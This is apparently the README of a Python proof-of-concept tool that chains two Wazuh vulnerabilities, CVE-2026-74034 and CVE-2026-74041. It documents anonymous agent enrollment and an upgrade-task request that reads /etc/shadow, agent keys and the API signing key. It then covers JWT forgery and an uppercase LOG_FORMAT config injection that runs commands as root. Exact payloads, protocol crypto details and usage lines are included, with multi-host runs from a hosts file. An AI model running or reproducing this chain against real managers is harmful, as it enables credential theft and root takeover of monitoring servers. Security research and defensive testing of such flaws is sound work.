Wazuh エクスプロイトチェーン PoC（4.14.8 で修正済み）— CVE-2026-74034 / CVE-2026-74041

単一ファイル、標準ライブラリのみで動作するマルチホスト PoC で、CVE-2026-74034 と CVE-2026-74041 を連鎖させます。両アドバイザリは 2026年10月13日 に公開され、修正は 2026年9月23日の Wazuh 4.14.8 で提供されました。バージョン 4.14.8 は修正済みリリースであり、影響を受けるターゲットではありません。

このスクリプトは、必要なマネージャーサービスに到達可能で、パスワードなしのエージェント登録が有効な場合に、以下のチェーンを実行します:

recon :55000/:1515/:1514
        │
        ├─ Phase 2  anonymous enrollment on TCP/1515 (TLS)  ──► agent id + 64-hex key
        │
        ├─ Phase 3  OSSEC agent secure channel on TCP/1514   ──► CVE-2026-74034
        │           queue 'u' (UPGRADE_MQ) upgrade_custom          arbitrary ROOT file read
        │           with parameters.file_path = /etc/shadow …
        │
        └─ Phase 4  ES512 JWT forged from the leaked             ──► CVE-2026-74041
                    /var/ossec/api/configuration/security/          ROOT RCE via the
                    private_key.pem → PUT /manager/configuration      check_remote_commands
                    parser differential (+ restart)                   parser differential

デフォルトで同梱されているパスワードレス認証の authd 登録が到達可能な場合（<auth><use_password>no</use_password>）、既存の認証情報は不要です。登録パスワードやクライアント証明書が必須になると、この前提条件が変わります。CVE-2026-74041 単体では、設定更新権限を持つ認証済み API ユーザーが必要です。このチェーンでは、API アクセスは署名鍵の開示に続いて行われます。

対象範囲の CVE

CVE	CVSS / ベクター	影響範囲	概要
CVE-2026-74034	7.5, `PR:N`	`>=4.1.0 <4.14.8`	`upgrade_custom` の `parameters.file_path` が ROOT 権限の `wm_agent_upgrade` によって開かれ、`wfopen()` による存在チェックのみで登録済みエージェントにストリームバックされる → 任意の root ファイル読み取り
CVE-2026-74041	9.1 (CVSS 3.1), `PR:H`	`>=4.14.3 <4.14.8`	`check_remote_commands` が大文字の `<LOG_FORMAT>` を受け入れ、大文字小文字を区別する Python バリデータでは見逃されるが、大文字小文字を区別しない C の logcollector では有効になる → root 権限での `full_command` localfile

この 2 つのバージョン範囲は個々の脆弱性を表しています。完全なチェーンとしての文書化された重複範囲は >=4.14.3 <4.14.8 です。その他のアドバイザリはこの PoC の対象外です。

要件

Python 3.8+ — 標準ライブラリのみ（pip、pycryptodome、cryptography は不要）。
AES-256-CBC と ECDSA P-521 (ES512) はスクリプト内で純粋な Python により実装されています。
1515、1514、55000 へのアウトバウンド TCP。

使用方法

# single host
python3 wazuh_poc.py 192.0.2.10
python3 wazuh_poc.py 192.0.2.10 --port 55000
python3 wazuh_poc.py https://192.0.2.10:55000
python3 wazuh_poc.py 192.0.2.10:55000

# many hosts, one per line ('#' comments allowed)
python3 wazuh_poc.py -f hosts.txt --threads 10

# phases 1-3 only (no config write / restart)
python3 wazuh_poc.py -f hosts.txt --no-rce

# leave the uploaded config / marker in place (NO cleanup)
python3 wazuh_poc.py 192.0.2.10 --keep

# override the phase-4 root command
python3 wazuh_poc.py 192.0.2.10 --cmd 'id; hostname > /var/ossec/etc/lists/zz_pwned 2>&1'

オプション

フラグ	デフォルト	意味
`--port`	`55000`	Wazuh REST API ポート
`--authd-port`	`1515`	authd 登録ポート
`--remoted-port`	`1514`	エージェントのセキュアチャネルポート
`--timeout`	`10`	ソケットタイムアウト（秒）
`--agent-name`	`poc-<rand8>`	マネージャーに登録される名前
`--cmd`	`(id; hostname) > …/zz_pwned`	フェーズ4のrootコマンド
`--no-rce`	オフ	フェーズ4をスキップ
`--keep`	オフ	`ossec.conf` を復元せず、マーカーも削除しない
`--debug`	オフ	プロトコルメッセージをダンプ
`--threads`	`5`	ホスト並列数
`--api-user`	`wazuh`	偽造JWTに含めるユーザー名

終了は常にホストごとに正常に行われます。拒否、パスワード保護されたauthd、パッチ適用済みのバージョン、暗号の不一致などは、正確なブロック箇所とともに報告され、実行は残りのホストで継続します。

各フェーズの動作

フェーズ1 — 偵察

TCP 55000（API）、1515（authd）、1514（remoted）をプローブします。TLS検証を無効にして GET / をリクエストし、APIが未認証で公開している場合は api_version を報告します。堅牢化されたビルドでは GET / が 401 を返します。その場合、実際のマネージャーバージョンはフェーズ3で /var/ossec/VERSION.json から取得され、4.14.8 と照合してフラグが立てられます。

フェーズ2 — 匿名登録（authd :1515）

TLS接続（4.4以降のauthdはTLS専用ですが、スクリプトは非常に古いビルド向けに平文TCPも再試行します）を行い、続いて OSSEC A:'<name>'\n を送信します。マネージャーは OSSEC K:'<id> <name> <ip> <key>' と応答し、スクリプトは64桁の16進数エージェントキーを保持します。

フェーズ3 — CVE-2026-74034（remoted :1514）

src/os_crypto/shared/msgs.c のWazuhエージェント暗号を再現します：

TCPフレーム [4バイトリトルエンディアン長][ペイロード]
動的（ip=any）エージェントの場合、ペイロードは !<id>!#AES:<ciphertext>
AES-256-CBC、キー = MD5(agent_key_hex)（32 ASCIIバイト）、IV FEDCBA0987654321、PKCS#7
平文 = !…! パディング + zlib(MD5_hex(plain) + "%05rand%010global:%04local:" + msg)

#!-agent startup {"version":"v4.14.6"} と、Ubuntuのプラットフォーム/アーキテクチャを含むキープアライブを送信してエージェントをグローバルDBで active にし、続いてキュー u（UPGRADE_MQ）タスクを送信します：

{"command":"upgrade_custom","parameters":{"file_path":"/etc/shadow","installer":"upgrade.sh"}}

analysisd がそれを WM_UPGRADE_SOCK に転送し、ROOT 権限の wazuh-modulesd がファイルを開いて (wfopen、パス/拡張子/署名のチェックなし)、生のバイト列を base64 の write チャンクとしてストリーミングで返します。スクリプトはそれらを再構築し、[ACC] 行をリアルタイムで出力します:

ファイル	処理
`/etc/shadow`	`root:` / `wazuh:` 行のみ (ハッシュは完全に出力)
`/var/ossec/etc/client.keys`	全体 (25 行に切り詰め、バイト数をカウント)
`/var/ossec/etc/authd.pass`	全体 (登録が匿名の場合は存在しない)
`/var/ossec/api/configuration/security/private_key.pem`	全体
`/var/ossec/etc/ossec.conf`	クラスタの `<key>`、インデクサーの認証情報、`<auth>` パスワード
`/var/ossec/VERSION.json`	偵察用のバージョンフォールバック

ファイル間でスクリプトは upgrade_update_status を送信します (そうしないとタスクマネージャーがエージェントを In progress のまま保持し、次のタスクを拒否します)。

フェーズ 4 — CVE-2026-74041 (任意、REST :55000)

漏洩した秘密鍵で管理者用 ES512 JWT を偽造します (iss=wazuh、aud="Wazuh API REST"、sub=wazuh、rbac_roles=[1]、 rbac_mode=white、exp-nbf=900)。GET /agents に対して検証済みです。
GET /manager/configuration?raw=true を実行し、最後の </ossec_config> の前に、小文字の <log_format>syslog</log_format> デコイと、大文字の <LOG_FORMAT>full_command</LOG_FORMAT> およびコマンドを含む <localfile> を挿入します。
PUT /manager/configuration (application/octet-stream) を実行し、続いて PUT /manager/restart を実行します。
root コマンドの出力を得るため、GET /lists/files/zz_pwned?raw=true をポーリングします。
--keep が指定されていない場合: 元の ossec.conf を PUT し、再起動し、 DELETE /lists/files/zz_pwned を実行します (マーカーが消えるまでリトライ)。

出力

すべてリアルタイムで出力・フラッシュされ、[+] (ステータス)、[ACC] (収集したアクセス/シークレット)、[!] (警告)、[-] (失敗) のタグが付き、ホスト名が前置されます。
findings.jsonl がスクリプトの隣に追記されます: ホストごとに 1 つの JSON オブジェクトで、 version、agent_id、agent_key (登録が成功した場合)、accesses、 findings、ok、および任意の error を含みます。このファイルは機密として扱ってください。
ホストごとのサマリーは、登録されたエージェント ID、収集したアクセス、findings、およびブロックポイントがあればそれを報告します。ok は少なくとも 1 つのファイル読み取りを示すものであり、RCE の確認ではありません。

副作用とクリーンアップ

登録は永続的です。 実行するたびに、エージェントが client.keys / global.db に残ります。サマリーは残存するエージェント ID を出力します。それを削除するには API (DELETE /agents/{id}) が必要ですが、フェーズ 4 が成功しない限り対象外です。
フェーズ 4 は侵襲的です。 マネージャーの ossec.conf を書き換え、マネージャーを再起動し、一時的に root としてコマンドを実行します。デフォルトのコマンドはマーカーファイルを書き込むだけです。 --keep が渡されない限り、スクリプトは元の設定を復元し、マーカーを削除しようと試みます。クリーンアップはベストエフォートです: 設定の復元は検証されず、例外や中断によってクリーンアップがスキップされる可能性があります。独立したバックアップを保持し、ラボのマネージャーで復元を手動で確認してください。後続の実行では、中断前の設定は復元されません。
悪意のある localfile は設定ファイルの最後の </ossec_config> の前に挿入され、 frequency 10 を使用します。マーカーは wazuh-logcollector がリロードされた時点 (再起動後) で書き込まれます。
スクリプトはエージェントプロトコルを使用します。これは検出不可能性を主張するものではありません; 登録、アップグレード活動、設定変更、再起動は証拠を残します。

既知の制限

現在のビルドでは GET / が 401 を返すため、api_version は通常 CVE-2026-74034 経由で読み取った /var/ossec/VERSION.json から取得されます。
<use_password>no</use_password> (脆弱なデフォルト) の場合、 /var/ossec/etc/authd.pass は存在しないため、その読み取りは正当に何も返しません。
GET /manager/files?path=... は 4.14.x には存在しません; スクリプトは /manager/configuration?raw=true と /lists/files/<name>?raw=true を使用します。
バージョン 4.14.8 は両方の脆弱性を修正しています。登録の成功だけでは脆弱性を立証しません; パッチ適用後も登録が利用可能なままである場合があります。

テスト済み

著者報告によるラボテスト: Ubuntu 24.04 上の Wazuh 4.14.5。登録、ファイル読み取り、偽造 JWT、およびコマンド実行マーカーは成功したと報告されており、その後設定の復元とマーカーの削除が行われた。192.0.2.10 はドキュメント用のプレースホルダーである。独立してレビュー可能な実行トランスクリプトやパッチ適用バージョンの対照結果は、このリポジトリには含まれていない。

参考文献とクレジット

このリポジトリは、公開されている2つの脆弱性を組み合わせた実装を提供する。元の脆弱性報告は Wazuh により以下にクレジットされている:

wazuh-unauth-chain

人気